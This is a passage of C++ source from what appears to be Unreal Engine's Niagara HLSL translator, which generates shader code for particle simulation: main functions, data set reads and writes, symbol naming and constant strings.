, nullptr, nullptr);
}
}
InHlslOutput += InterfaceUniformHLSL + InterfaceFunctionHLSL;
}
void FHlslNiagaraTranslator::DefineMain(FString &OutHlslOutput,
TArray<TArray<FNiagaraVariable>*> &InstanceReadVars, TArray<FNiagaraDataSetID>& ReadIds,
TArray<TArray<FNiagaraVariable>*> &InstanceWriteVars, TArray<FNiagaraDataSetID>& WriteIds)
{
if (CompilationTarget == ENiagaraSimTarget::GPUComputeSim)
{
OutHlslOutput += TEXT("void SimulateMain(in int InstanceIdx, in int InEventIndex)\n{\n\tFSimulationContext Context = (FSimulationContext)0;\n");
}
else
{
OutHlslOutput += TEXT("void SimulateMain()\n{\n\tFSimulationContext Context = (FSimulationContext)0;\n");
}
TMap<FName, int32> InputRegisterAllocations;
TMap<FName, int32> OutputRegisterAllocations;
ReadIdx = 0;
WriteIdx = 0;
//TODO: Grab indices for reading data sets and do the read.
//read input.
//The VM register binding assumes the same inputs as outputs which is obviously not always the case.
for (int32 VarArrayIdx = 0; VarArrayIdx < InstanceReadVars.Num(); VarArrayIdx++)
{
TArray<FNiagaraVariable>* ArrayRef = InstanceReadVars[VarArrayIdx];
DefineDataSetVariableReads(HlslOutput, ReadIds[VarArrayIdx], VarArrayIdx, *ArrayRef);
}
// Fill in the defaults for parameters.
for (int32 i = 0; i < MainPreSimulateChunks.Num(); ++i)
{
OutHlslOutput += TEXT("\t") + MainPreSimulateChunks[i] + TEXT("\n");
}
// if we're in an event handler script on GPU, sim needs to loop over all events as well
// TODO: once looping works on CPU, we can do this for both targets
//
if (Script->IsParticleEventScript() && CompilationTarget == ENiagaraSimTarget::GPUComputeSim)
{
OutHlslOutput += TEXT("\tfor(int EventIdx=InEventIndex; EventIdx<InEventIndex+NumEventsPerParticle; EventIdx++)\n\t{\n");
OutHlslOutput += TEXT("\t\tReadDataSets(Context, EventIdx);\n");
OutHlslOutput += TEXT("\t\tSimulate(Context);\n");
OutHlslOutput += TEXT("\t}");
}
else
{
// call the read data set function
OutHlslOutput += TEXT("\tReadDataSets(Context);\n");
//Interpolate between prev and current parameters for interpolated spawning.
if (Script->IsInterpolatedParticleSpawnScript())
{
OutHlslOutput += TEXT("\tInterpolateParameters(Context);\n");
}
//Call simulate.
OutHlslOutput += TEXT("\tSimulate(Context);\n");
}
// write secondary data sets
OutHlslOutput += TEXT("\tWriteDataSets(Context);\n");
//The VM register binding assumes the same inputs as outputs which is obviously not always the case.
//We should separate inputs and outputs in the script.
for (int32 VarArrayIdx = 0; VarArrayIdx < InstanceWriteVars.Num(); VarArrayIdx++)
{
TArray<FNiagaraVariable>* ArrayRef = InstanceWriteVars[VarArrayIdx];
DefineDataSetVariableWrites(HlslOutput, WriteIds[VarArrayIdx], VarArrayIdx, *ArrayRef);
}
OutHlslOutput += TEXT("}\n");
// define a simple copy function to run on a section of the buffer for GPU event scripts;
// SimulateMainComputeCS in the usf will decide which one to call for which instances
// TODO: we'll want to combine spawn and update here soon so we'll need multiple main functions to be called from NiagaraEmitterInstanceShader.usf
// this will need SpawnMain and UpdateMain for the regular particle scripts; all spawn events should be a single dispatch as well, each with its own function
//
if (CompilationTarget == ENiagaraSimTarget::GPUComputeSim)
{
OutHlslOutput += TEXT("void CopyInstance(in int InstanceIdx)\n{\n\tFSimulationContext Context = (FSimulationContext)0;\n");
for (int32 VarArrayIdx = 0; VarArrayIdx < InstanceReadVars.Num(); VarArrayIdx++)
{
TArray<FNiagaraVariable>* ArrayRef = InstanceReadVars[VarArrayIdx];
DefineDataSetVariableReads(HlslOutput, ReadIds[VarArrayIdx], VarArrayIdx, *ArrayRef);
}
if (Script->IsParticleEventScript())
{
OutHlslOutput += TEXT("\tContext.Map.DataInstance.Alive = true;\n");
}
for (int32 VarArrayIdx = 0; VarArrayIdx < InstanceWriteVars.Num(); VarArrayIdx++)
{
TArray<FNiagaraVariable>* ArrayRef = InstanceWriteVars[VarArrayIdx];
DefineDataSetVariableWrites(HlslOutput, WriteIds[VarArrayIdx], VarArrayIdx, *ArrayRef);
}
OutHlslOutput += TEXT("}\n");
}
}
void FHlslNiagaraTranslator::DefineDataSetVariableWrites(FString &OutHlslOutput, FNiagaraDataSetID& Id, int32 DataSetIndex, TArray<FNiagaraVariable>& WriteVars)
{
//TODO Grab indices for data set writes (inc output) and do the write
OutHlslOutput += "\tint TmpWriteIndex;\n";
if (Script->IsNonParticleScript())
{
OutHlslOutput += "\tbool bValid = true;\n";
}
else
{
FString DataSetName = Id.Name.ToString();
bool bHasPerParticleAliveSpawn = false;
bool bHasPerParticleAliveUpdate = false;
bool bHasPerParticleAliveEvent = false;
for (int32 i = 0; i < ParamMapHistories.Num(); i++)
{
const UNiagaraNodeOutput* OutputNode = ParamMapHistories[i].GetFinalOutputNode();
bool bFound = (INDEX_NONE != ParamMapHistories[i].FindVariable(*(DataSetName + TEXT(".Alive")), FNiagaraTypeDefinition::GetBoolDef()));
if (bFound && OutputNode && (OutputNode->GetUsage() == ENiagaraScriptUsage::ParticleSpawnScript || OutputNode->GetUsage() == ENiagaraScriptUsage::ParticleSpawnScriptInterpolated))
{
bHasPerParticleAliveSpawn = true;
}
else if (bFound && OutputNode && OutputNode->GetUsage() == ENiagaraScriptUsage::ParticleUpdateScript)
{
bHasPerParticleAliveUpdate = true;
}
else if (bFound && OutputNode && OutputNode->GetUsage() == ENiagaraScriptUsage::ParticleEventScript)
{
bHasPerParticleAliveEvent = true;
}
}
if ((bHasPerParticleAliveSpawn || bHasPerParticleAliveUpdate) && Script->IsInterpolatedParticleSpawnScript())
{
if (bHasPerParticleAliveSpawn && bHasPerParticleAliveUpdate)
{
OutHlslOutput += TEXT("\tbool bValid = Context.MapUpdate.") + DataSetName + TEXT(".Alive && Context.MapSpawn.DataInstance.Alive;\n");
}
else if (bHasPerParticleAliveSpawn)
{
OutHlslOutput += TEXT("\tbool bValid = Context.MapSpawn.") + DataSetName + TEXT(".Alive;\n");
}
else if (bHasPerParticleAliveUpdate)
{
OutHlslOutput += TEXT("\tbool bValid = Context.MapUpdate.") + DataSetName + TEXT(".Alive;\n");
}
}
else if ((Script->IsParticleSpawnScript() && bHasPerParticleAliveSpawn) || (Script->IsParticleUpdateScript() && bHasPerParticleAliveUpdate) ||
(Script->IsParticleEventScript() && bHasPerParticleAliveEvent))
{
OutHlslOutput += TEXT("\tbool bValid = Context.Map.") + DataSetName + TEXT(".Alive;\n");
}
else
{
OutHlslOutput += "\tbool bValid = true;\n";
}
}
int32 WriteOffset = 0;
// grab the current ouput index; currently pass true, but should use an arbitrary bool to determine whether write should happen or not
OutHlslOutput += "\tTmpWriteIndex = AcquireIndex(0, bValid);\n";
for (FNiagaraVariable &Var : WriteVars)
{
// If coming from a parameter map, use the one on the context, otherwise use the output.
FString Fmt;
{
if (Script->IsInterpolatedParticleSpawnScript())
{
Fmt = TEXT("\tOutputData{1}(0, {2}, {3}, Context.MapUpdate.") + GetSanitizedSymbolName(Var.GetName().ToString()) + TEXT("{0});\n");
}
else
{
Fmt = TEXT("\tOutputData{1}(0, {2}, {3}, Context.Map.") + GetSanitizedSymbolName(Var.GetName().ToString()) + TEXT("{0});\n");
}
GatherVariableForDataSetAccess(Var, Fmt, WriteOffset, -1, TEXT("TmpWriteIndex"), OutHlslOutput);
}
}
}
void FHlslNiagaraTranslator::DefineDataSetVariableReads(FString &OutHlslOutput, FNiagaraDataSetID& Id, int32 DataSetIndex, TArray<FNiagaraVariable>& ReadVars)
{
int32 ReadOffset = 0;
FString DataSetName = Id.Name.ToString();
for (FNiagaraVariable &Var : ReadVars)
{
// If coming from a parameter map, use the one on the context, otherwise use the input.
FString Fmt;
{
// In the case of interpolated spawn scripts, we read into the MapSpawn and write out of the Map.
if (Script->IsInterpolatedParticleSpawnScript())
{
Fmt = TEXT("\tContext.MapSpawn.") + GetSanitizedSymbolName(Var.GetName().ToString()) + TEXT("{0} = {4};\n");
}
else if (Script->IsParticleSpawnScript() || Script->IsEmitterSpawnScript() || Script->IsSystemSpawnScript()) // We shouldn't read anything in a Spawn Script! Set to defaults.
{
Fmt = TEXT("\tContext.Map.") + GetSanitizedSymbolName(Var.GetName().ToString()) + TEXT("{0} = {4};\n");
}
else
{
if (CompilationTarget == ENiagaraSimTarget::GPUComputeSim)
{
Fmt = TEXT("\tContext.Map.") + GetSanitizedSymbolName(Var.GetName().ToString()) + TEXT("{0} = InputData{1}({2}, {3}, InstanceIdx);\n");
}
else
{
Fmt = TEXT("\tContext.Map.") + GetSanitizedSymbolName(Var.GetName().ToString()) + TEXT("{0} = InputData{1}({2}, {3});\n");
}
}
}
GatherVariableForDataSetAccess(Var, Fmt, ReadOffset, DataSetIndex, TEXT(""), OutHlslOutput);
}
}
void FHlslNiagaraTranslator::WriteDataSetContextVars(TMap<FNiagaraDataSetID, TMap<int32, FDataSetAccessInfo>>& DataSetAccessInfo, bool bRead, FString &OutHlslOutput)
{
//Now the intermediate storage for the data set reads and writes.
uint32 DataSetIndex = 0;
for (TPair<FNiagaraDataSetID, TMap<int32, FDataSetAccessInfo>>& DataSetInfoPair : DataSetAccessInfo)
{
FNiagaraDataSetID DataSet = DataSetInfoPair.Key;
if (!bRead)
{
OutHlslOutput += TEXT("\tbool ") + DataSet.Name.ToString() + TEXT("Write_Valid; \n");
}
OutHlslOutput += TEXT("\tF") + DataSet.Name.ToString() + "DataSet " + DataSet.Name.ToString() + (bRead ? TEXT("Read") : TEXT("Write")) + TEXT(";\n");
}
};
void FHlslNiagaraTranslator::WriteDataSetStructDeclarations(TMap<FNiagaraDataSetID, TMap<int32, FDataSetAccessInfo>>& DataSetAccessInfo, bool bRead, FString &OutHlslOutput)
{
uint32 DataSetIndex = 1;
for (TPair<FNiagaraDataSetID, TMap<int32, FDataSetAccessInfo>>& DataSetInfoPair : DataSetAccessInfo)
{
FNiagaraDataSetID DataSet = DataSetInfoPair.Key;
FString StructName = TEXT("F") + DataSet.Name.ToString() + "DataSet";
OutHlslOutput += TEXT("struct ") + StructName + TEXT("\n{\n");
for (TPair<int32, FDataSetAccessInfo>& IndexInfoPair : DataSetInfoPair.Value)
{
for (FNiagaraVariable Var : IndexInfoPair.Value.Variables)
{
OutHlslOutput += TEXT("\t") + GetStructHlslTypeName(Var.GetType().GetScriptStruct()) + TEXT(" ") + Var.GetName().ToString() + ";\n";
}
}
OutHlslOutput += TEXT("};\n");
// declare buffers for compute shader HLSL only; VM doesn't need htem
// because its InputData and OutputData functions handle data set management explicitly
//
if (CompilationTarget == ENiagaraSimTarget::GPUComputeSim)
{
FString IndexString = FString::FromInt(DataSetIndex);
if (bRead)
{
OutHlslOutput += FString(TEXT("Buffer<float> ReadDataSetFloat")) + IndexString + ";\n";
OutHlslOutput += FString(TEXT("Buffer<int> ReadDataSetInt")) + IndexString + ";\n";
OutHlslOutput += "int DSComponentBufferSizeReadFloat" + IndexString + ";\n";
OutHlslOutput += "int DSComponentBufferSizeReadInt" + IndexString + ";\n";
}
else
{
OutHlslOutput += FString(TEXT("RWBuffer<float> RWWriteDataSetFloat")) + IndexString + ";\n";
OutHlslOutput += FString(TEXT("RWBuffer<int> RWWriteDataSetInt")) + IndexString + ";\n";
OutHlslOutput += "int DSComponentBufferSizeWriteFloat" + IndexString + ";\n";
OutHlslOutput += "int DSComponentBufferSizeWriteInt" + IndexString + ";\n";
}
}
DataSetIndex++;
}
}
//Decomposes each variable into its constituent register accesses.
void FHlslNiagaraTranslator::DecomposeVariableAccess(const UStruct* Struct, bool bRead, FString IndexSymbol, FString HLSLString)
{
FString AccessStr;
for (TFieldIterator<UProperty> PropertyIt(Struct, EFieldIteratorFlags::IncludeSuper); PropertyIt; ++PropertyIt)
{
UProperty* Property = *PropertyIt;
if (UStructProperty* StructProp = CastChecked<UStructProperty>(Property))
{
FNiagaraTypeDefinition PropDef(StructProp->Struct);
if (!IsHlslBuiltinVector(PropDef))
{
DecomposeVariableAccess(StructProp->Struct, bRead, IndexSymbol, AccessStr);
return;
}
}
int32 Index = INDEX_NONE;
if (bRead)
{
Index = ReadIdx++;
AccessStr = TEXT("ReadInput(");
AccessStr += FString::FromInt(ReadIdx);
AccessStr += ");\n";
}
else
{
Index = WriteIdx++;
AccessStr = TEXT("WriteOutput(");
AccessStr += FString::FromInt(WriteIdx);
AccessStr += ");\n";
}
HLSLString += AccessStr;
FNiagaraTypeDefinition StructDef(Cast<UScriptStruct>(Struct));
FString TypeName = GetStructHlslTypeName(StructDef);
}
};
FString FHlslNiagaraTranslator::GetSanitizedSymbolName(FString SymbolName)
{
FString Ret = SymbolName.Replace(TEXT(" "), TEXT(""));
Ret = Ret.Replace(TEXT("\\"), TEXT("_"));
Ret = Ret.Replace(TEXT("/"), TEXT("_"));
Ret = Ret.Replace(TEXT(","), TEXT("_"));
Ret = Ret.Replace(TEXT("-"), TEXT("_"));
Ret = Ret.Replace(TEXT(":"), TEXT("_"));
return Ret;
}
FString FHlslNiagaraTranslator::GetUniqueSymbolName(FName BaseName)
{
uint32* NameCount = SymbolCounts.Find(BaseName);
if (NameCount == nullptr)
{
SymbolCounts.Add(BaseName) = 1;
return GetSanitizedSymbolName(BaseName.ToString());
}
FString Ret = GetSanitizedSymbolName(BaseName.ToString());
if(*NameCount > 0)
{
Ret += LexicalConversion::ToString(*NameCount);
}
++(*NameCount);
return Ret;
}
void FHlslNiagaraTranslator::EnterFunction(const FString& Name, FNiagaraFunctionSignature& Signature, TArray<int32>& Inputs)
{
FunctionContextStack.Emplace(Name, Signature, Inputs);
//May need some more heavy and scoped symbol tracking?
//Add new scope for pin reuse.
PinToCodeChunks.AddDefaulted(1);
}
void FHlslNiagaraTranslator::ExitFunction()
{
FunctionContextStack.Pop();
//May need some more heavy and scoped symbol tracking?
//Pop pin reuse scope.
PinToCodeChunks.Pop();
}
FString FHlslNiagaraTranslator::GeneratedConstantString(float Constant)
{
return LexicalConversion::ToString(Constant);
}
static int32 GbNiagaraScriptStatTracking = 1;
static FAutoConsoleVariableRef CVarNiagaraScriptStatTracking(
TEXT("fx.NiagaraScriptStatTracking"),
GbNiagaraScriptStatTracking,
TEXT("If > 0 stats tracking operations will be compiled into Niagara Scripts. \n"),
ECVF_Default
);
void FHlslNiagaraTranslator::EnterStatsScope(FNiagaraStatScope StatScope)
{
if (GbNiagaraScriptStatTracking)
{
int32 ScopeIdx = Script->StatScopes.AddUnique(StatScope);
AddBodyChunk(TEXT(""), FString::Printf(TEXT("EnterStatScope(%d /**%s*/)"), ScopeIdx, *StatScope.FullName.ToString()), FNiagaraTypeDefinition::GetFloatDef(), false);
StatScopeStack.Push(ScopeIdx);
}
}
void FHlslNiagaraTranslator::ExitStatsScope()
{
if (GbNiagaraScriptStatTracking)
{
int32 ScopeIdx = StatScopeStack.Pop();
AddBodyChunk(TEXT(""), FString::Printf(TEXT("ExitStatScope(/**%s*/)"), *Script->StatScopes[ScopeIdx].FullName.ToString()), FNiagaraTypeDefinition::GetFloatDef(), false);
}
}
FString FHlslNiagaraTranslator::GetCallstack()
{
FString Callstack = Script->GetName();
for (FFunctionContext& Ctx : FunctionContextStack)
{
Callstack += TEXT(".") + Ctx.Name;
}
return Callstack;
}
FString FHlslNiagaraTranslator::GeneratedConstantString(FVector4 Constant)
{
TArray<FStringFormatArg> Args;
Args.Add(LexicalConversion::ToString(Constant.X));
Args.Add(LexicalConversion::ToString(Constant.Y));
Args.Add(LexicalConversion::ToString(Constant.Z));
Args.Add(LexicalConversion::ToString(Constant.W));
return FString::Format(TEXT("float4({0}, {1}, {2}, {3})"), Args);
}
int32 FHlslNiagaraTranslator::AddUniformChunk(FString SymbolName, const FNiagaraTypeDefinition& Type)
{
int32 Ret = CodeChunks.IndexOfByPredicate(
[&](const FNiagaraCodeChunk& Chunk)
{
return Chunk.Mode == ENiagaraCodeChunkMode::Uniform && Chunk.SymbolName == SymbolName && Chunk.Type == Type;
}
);
if (Ret == INDEX_NONE)
{
Ret = CodeChunks.AddDefaulted();
FNiagaraCodeChunk& Chunk = CodeChunks[Ret];
Chunk.SymbolName = GetSanitizedSymbolName(SymbolName);
Chunk.Type = Type;
Chunk.Mode = ENiagaraCodeChunkMode::Uniform;
ChunksByMode[(int32)ENiagaraCodeChunkMode::Uniform].Add(Ret);
}
return Ret;
}
int32 FHlslNiagaraTranslator::AddSourceChunk(FString SymbolName, const FNiagaraTypeDefinition& Type)
{
int32 Ret = CodeChunks.IndexOfByPredicate(
[&](const FNiagaraCodeChunk& Chunk)
{
return Chunk.Mode == ENiagaraCodeChunkMode::Source && Chunk.SymbolName == SymbolName && Chunk.Type == Type;
}
);
if (Ret == INDEX_NONE)
{
Ret = CodeChunks.AddDefaulted();
FNiagaraCodeChunk& Chunk = CodeChunks[Ret];
Chunk.SymbolName = GetSanitizedSymbolName(SymbolName);
Chunk.Type = Type;
Chunk.Mode = ENiagaraCodeChunkMode::Source;
ChunksByMode[(int32)ENiagaraCodeChunkMode::Source].Add(Ret);
}
return Ret;
}
int32 FHlslNiagaraTranslator::AddBodyChunk(FString SymbolName, FString Definition, const FNiagaraTypeDefinition& Type, TArray<int32>& SourceChunks, bool bDecl, bool bIsTerminated)
{
int32 Ret = CodeChunks.AddDefaulted();
FNiagaraCodeChunk& Chunk = CodeChunks[Ret];
Chunk.SymbolName = GetSanitizedSymbolName(SymbolName);
Chunk.Definition = Definition;
Chunk.Type = Type;
Chunk.bDecl = bDecl;
Chunk.bIsTerminated = bIsTerminated;
Chunk.Mode = ENiagaraCodeChunkMode::Body;
Chunk.SourceChunks = SourceChunks;
ChunksByMode[(int32)ENiagaraCodeChunkMode::Body].Add(Ret);
return Ret;
}
int32 FHlslNiagaraTranslator::AddBodyChunk(FString SymbolName, FString Definition, const FNiagaraTypeDefinition& Type, int32 SourceChunk, bool bDecl, bool bIsTerminated)
{
int32 Ret = CodeChunks.AddDefaulted();
FNiagaraCodeChunk& Chunk = CodeChunks[Ret];
Chunk.SymbolName = GetSanitizedSymbolName(SymbolName);
Chunk.Definition = Definition;
Chunk.Type = Type;
Chunk.bDecl = bDecl;
Chunk.bIsTerminated = bIsTerminated;
Chunk.Mode = ENiagaraCodeChunkMode::Body;
Chunk.SourceChunks.Add(SourceChunk);
ChunksByMode[(int32)ENiagaraCodeChunkMode::Body].Add(Ret);
return Ret;
}
int32 FHlslNiagaraTranslator::AddBodyChunk(FString SymbolName, FString Definition, const FNiagaraTypeDefinition& Type, bool bDecl, bool bIsTerminated)
{
int32 Ret = CodeChunks.AddDefaulted();
FNiagaraCodeChunk& Chunk = CodeChunks[Ret];
Chunk.SymbolName = GetSanitizedSymbolName(SymbolName);
Chunk.Definition = Definition;
Chunk.Type = Type;
Chunk.bDecl = bDecl;
Chunk.bIsTerminated = bIsTerminated;
Chunk.Mode = ENiagaraCodeChunkMode::Body;
ChunksByMode[(int32)ENiagaraCodeChunkMode::Body].Add(Ret);
return Ret;
}
bool FHlslNiagaraTranslator::ShouldInterpolateParameter(const FNiagaraVariable& Parameter)
{
//Skip interpolation for some system constants.
if (Parameter == SYS_PARAM_ENGINE_DELTA_TIME ||
Parameter == SYS_PARAM_ENGINE_INV_DELTA_TIME ||
Parameter == SYS_PARAM_ENGINE_EXEC_COUNT ||
Parameter == SYS_PARAM_EMITTER_SPAWNRATE ||
Parameter == SYS_PARAM_EMITTER_SPAWN_INTERVAL ||
Parameter == SYS_PARAM_EMITTER_INTERP_SPAWN_START_DT )
{
return false;
}
return true;
}
int32 FHlslNiagaraTranslator::GetParameter(const FNiagaraVariable& Parameter)
{
if (!AddStructToDefinitionSet(Parameter.GetType()))
{
Error(FText::Format(LOCTEXT("GetParameterFail", "Cannot handle type {0}! Variable: {1}"), Parameter.GetType().GetNameText(), FText::FromName(Parameter.GetName())), nullptr, nullptr);
}
int32 FuncParam = INDEX_NONE;
if (GetFunctionParameter(Parameter, FuncParam))
{
if (FuncParam != INDEX_NONE)
{
if (Parameter.GetType() == FNiagaraTypeDefinition::GetParameterMapDef())
{
return FuncParam;
}
//If this is a valid function parameter, use that.
FString SymbolName = TEXT("In_") + GetSanitizedSymbolName(Parameter.GetName().ToString());
return AddSourceChunk(SymbolName, Parameter.GetType());
}
}
// We don't pass in the input node here (really there could be multiple nodes for the same parameter)
// so we have to match up the input parameter map variable value through the pre-traversal histories
// so that we know which parameter map we are referencing.
FString SymbolName = GetSanitizedSymbolName(Parameter.GetName().ToString());
if (Parameter.GetType() == FNiagaraTypeDefinition::GetParameterMapDef())
{
if (ParamMapHistories.Num() == 0)
{
return INDEX_NONE;
}
for (int32 i = 0; i < ParamMapHistories.Num(); i++)
{
// Double-check against the current output node we are tracing. Ignore any parameter maps
// that don't include that node.
if (CurrentParamMapIndices.Num() != 0 && !CurrentParamMapIndices.Contains(i))
{
continue;
}
for (int32 PinIdx = 0; PinIdx < ParamMapHistories[i].MapPinHistory.Num(); PinIdx++)
{
const UEdGraphPin* Pin = ParamMapHistories[i].MapPinHistory[PinIdx];
if (Pin != nullptr)
{
UNiagaraNodeInput* InputNode = Cast<UNiagaraNodeInput>(Pin->GetOwningNode());
if (InputNode != nullptr && InputNode->Input == Parameter)
{
return i;
}
}
}
}
return INDEX_NONE;
}
//Not a in a function or not a valid function parameter so grab from the main uniforms.
int32 OutputChunkIdx = INDEX_NONE;
FNiagaraVariable OutputVariable = Parameter;
if (FNiagaraParameterMapHistory::IsExternalConstantNamespace(OutputVariable, Script))
{
if (!ParameterMapRegisterExternalConstantNamespaceVariable(OutputVariable, nullptr, 0, OutputChunkIdx, nullptr))
{
OutputChunkIdx = INDEX_NONE;
}
}
else
{
OutputVariable = FNiagaraParameterMapHistory::MoveToExternalConstantNamespaceVariable(OutputVariable, Script);
if (!ParameterMapRegisterExternalConstantNamespaceVariable(OutputVariable, nullptr, 0, OutputChunkIdx, nullptr))
{
OutputChunkIdx = INDEX_NONE;
}
}
if (OutputChunkIdx == INDEX_NONE)
{
Error(FText::Format(LOCTEXT("GetParameterFail", "Cannot handle type {0}! Variable: {1}"), Parameter.GetType().GetNameText(), FText::FromName(Parameter.GetName())), nullptr, nullptr);
}
return OutputChunkIdx;
}
int32 FHlslNiagaraTranslator::GetConstant(const FNiagaraVariable& Constant)
{
FString ConstantStr = GenerateConstantString(Constant);
if (ConstantStr.IsEmpty())
{
return INDEX_NONE;
}
return AddBodyChunk(GetUniqueSymbolName(TEXT("Constant")), ConstantStr, Constant.GetType());
}
int32 FHlslNiagaraTranslator::GetConstantFloat(float InConstantValue)
{
FNiagaraVariable Constant(FNiagaraTypeDefinition::GetFloatDef(), TEXT("Constant"));
Constant.SetValue(InConstantValue);
return GetConstant(Constant);
}
FString FHlslNiagaraTranslator::GenerateConstantString(const FNiagaraVariable& Constant)
{
FNiagaraTypeDefinition Type = Constant.GetType();
if (!AddStructToDefinitionSet(Type))
{
Error(FText::Format(LOCTEXT("GetConstantFail", "Cannot handle type {0}! Variable: {1}"), Type.GetNameText(), FText::FromName(Constant.GetName())), nullptr, nullptr);
}
FString ConstantStr = GetStructHlslTypeName(Type) + GetHlslDefaultForType(Type);
if (Constant.IsDataAllocated())
{
if (Type == FNiagaraTypeDefinition::GetFloatDef())
{
float* ValuePtr = (float*)Constant.GetData();
ConstantStr = FString::Printf(TEXT("%g"), *ValuePtr);
}
else if (Type == FNiagaraTypeDefinition::GetVec2Def())
{
float* ValuePtr = (float*)Constant.GetData();
ConstantStr = FString::Printf(TEXT("float2(%g,%g)"), *ValuePtr, *(ValuePtr + 1));
}
else if (Type == FNiagaraTypeDefinition::GetVec3Def())
{
float* ValuePtr = (float*)Constant.GetData();
ConstantStr = FString::Printf(TEXT("float3(%g,%g,%g)"), *ValuePtr, *(ValuePtr + 1), *(ValuePtr + 2));
}
else if (Type == FNiagaraTypeDefinition::GetVec4Def())
{
float* ValuePtr = (float*)Constant.GetData();
ConstantStr = FString::Printf(TEXT("float4(%g,%g,%g,%g)"), *ValuePtr, *(ValuePtr + 1), *(ValuePtr + 2), *(ValuePtr + 3));
}
else if (Type == FNiagaraTypeDefinition::GetColorDef())
{
float* ValuePtr = (float*)Constant.GetData();
ConstantStr = FString::Printf(TEXT("float4(%g,%g,%g,%g)"), *ValuePtr, *(ValuePtr + 1), *(ValuePtr + 2), *(ValuePtr + 3));
}
else if (Type == FNiagaraTypeDefinition::GetIntDef() || Type.GetStruct() == FNiagaraTypeDefinition::GetIntStruct())
{
int32* ValuePtr = (int32*)Constant.GetData();
ConstantStr = FString::Printf(TEXT("%d"), *ValuePtr);
}
else if (Type == FNiagaraTypeDefinition::GetBoolDef())
{
if (Constant.GetValue<FNiagaraBool>()->IsValid() == false)
{
Error(FText::Format(LOCTEXT("StructContantsBoolInvalidError", "Boolean constant {0} is not set to explicit True or False. Defaulting to False."), FText::FromName(Constant.GetName())), nullptr, nullptr);
ConstantStr = TEXT("false");
}
else
{
bool bValue = Constant.GetValue<FNiagaraBool>()->GetValue();
ConstantStr = bValue ? TEXT("true") : TEXT("false");
}
}
else
{
//This is easily doable, just need to keep track of all structs used and define them as well as a ctor function signature with all values decomposed into float1/2/3/4 etc
//Then call said function here with the same decomposition literal values.
Error(LOCTEXT("StructContantsUnsupportedError", "Constants of struct types are currently unsupported."), nullptr, nullptr);
return FString();
}
}
return ConstantStr;
}
void FHlslNiagaraTranslator::Output(UNiagaraNodeOutput* OutputNode, const TArray<int32>& ComputedInputs)
{
TArray<FNiagaraVariable> Attributes;
TArray<int32> Inputs;
// Build up the attribute list. We don't auto-expand parameter maps here.
TArray<FNiagaraVariable> Outputs = OutputNode->GetOutputs();
check(ComputedInputs.Num() == Outputs.Num());
for (int32 PinIdx = 0; PinIdx < Outputs.Num(); PinIdx++)
{
Attributes.Add(Outputs[PinIdx]);
Inputs.Add(ComputedInputs[PinIdx]);
}
if (FunctionCtx())
{
for (int32 i = 0; i < Attributes.Num(); ++i)
{
if (!AddStructToDefinitionSet(Attributes[i].GetType()))
{
Error(FText::Format(LOCTEXT("GetConstantFail", "Cannot handle type {0}! Variable: {1}"), Attributes[i].GetType().GetNameText(), FText::FromName(Attributes[i].GetName())), nullptr, nullptr);
}
if (Attributes[i].GetType() != FNiagaraTypeDefinition::GetParameterMapDef())
{
FString SymbolName = *(TEXT("Out_") + GetSanitizedSymbolName(Attributes[i].GetName().ToString()));
AddBodyChunk(SymbolName, TEXT("{0}"), Attributes[i].GetType(), Inputs[i], false);
}
}
}
else
{
{
check(InstanceWrite.CodeChunks.Num() == 0);//Should only hit one output node.
FString DataSetAccessName = GetDataSetAccessSymbol(GetInstanceDataSetID(), INDEX_NONE, false);
//First chunk for a write is always the condition pin.
for (int32 i = 0; i < Attributes.Num(); ++i)
{
const FNiagaraVariable& Var = Attributes[i];
if (!AddStructToDefinitionSet(Var.GetType()))
{
Error(FText::Format(LOCTEXT("GetConstantFail", "Cannot handle type {0}! Variable: {1}"), Var.GetType().GetNameText(), FText::FromName(Var.GetName())), nullptr, nullptr);
}
//DATASET TODO: add and treat input 0 as the 'valid' input for conditional write
int32 Input = Inputs[i];
if (Var.GetType() != FNiagaraTypeDefinition::GetParameterMapDef())
{
FNiagaraVariable VarNamespaced = FNiagaraParameterMapHistory::BasicAttributeToNamespacedAttribute(Var);
FString ParameterMapInstanceName = GetParameterMapInstanceName(0);
int32 ChunkIdx = AddBodyChunk(ParameterMapInstanceName + TEXT(".") + GetSanitizedSymbolName(VarNamespaced.GetName().ToString()), TEXT("{0}"), VarNamespaced.GetType(), Input, false);
// Make sure that we end up in the list of Attributes that have been written to by this script.
if (ParamMapDefinedAttributesToUniformChunks.Find(Var.GetName()) == nullptr)
{
ParamMapDefinedAttributesToUniformChunks.Add(Var.GetName(), Input);
ParamMapDefinedAttributesToNamespaceVars.Add(Var.GetName(), VarNamespaced);
}
InstanceWrite.Variables.AddUnique(VarNamespaced);
InstanceWrite.CodeChunks.Add(ChunkIdx);
}
else
{
InstanceWrite.Variables.AddUnique(Var);
}
}
}
}
}
int32 FHlslNiagaraTranslator::GetAttribute(const FNiagaraVariable& Attribute)
{
if (!AddStructToDefinitionSet(Attribute.GetType()))
{
Error(FText::Format(LOCTEXT("GetConstantFail", "Cannot handle type {0}! Variable: {1}"), Attribute.GetType().GetNameText(), FText::FromName(Attribute.GetName())), nullptr, nullptr);
}
if (Script->IsParticleSpawnScript())
{
if (Script->IsInterpolatedParticleSpawnScript() && !bInsideInterpolatedSpawnScript)
{
//This is a special case where we allow the grabbing of attributes in the update section of an interpolated spawn script.
//But we return the results of the previously ran spawn script.
FString ParameterMapInstanceName = GetParameterMapInstanceName(0);
FNiagaraVariable NamespacedVar = FNiagaraParameterMapHistory::BasicAttributeToNamespacedAttribute(Attribute);
FString SymbolName = *(ParameterMapInstanceName + TEXT(".") + GetSanitizedSymbolName(NamespacedVar.GetName().ToString()));
return AddSourceChunk(SymbolName, Attribute.GetType());
}
else
{
Error(LOCTEXT("AttrReadInSpawnError","Cannot read attribute in a spawn script as it's value is not yet initialized."), nullptr, nullptr);
return INDEX_NONE;
}
}
else
{
CompilationOutput.DataUsage.bReadsAttriubteData = true;
int32 Chunk = INDEX_NONE;
if (!ParameterMapRegisterUniformAttributeVariable(Attribute, nullptr, 0, Chunk))
{
Error(FText::Format(LOCTEXT("AttrReadError", "Cannot read attribute {0} {1}."), Attribute.GetType().GetNameText(), FText::FromString(*Attribute.GetName().ToString())), nullptr, nullptr);
return INDEX_NONE;
}
return Chunk;
}
}
FString FHlslNiagaraTranslator::GetDataSetAccessSymbol(FNiagaraDataSetID DataSet, int32 IndexChunk, bool bRead)
{
FString Ret = TEXT("\tContext.") + DataSet.Name.ToString() + (bRead ? TEXT("Read") : TEXT("Write"));
/*
FString Ret = TEXT("Context.") + DataSet.Name.ToString();
Ret += bRead ? TEXT("Read") : TEXT("Write");
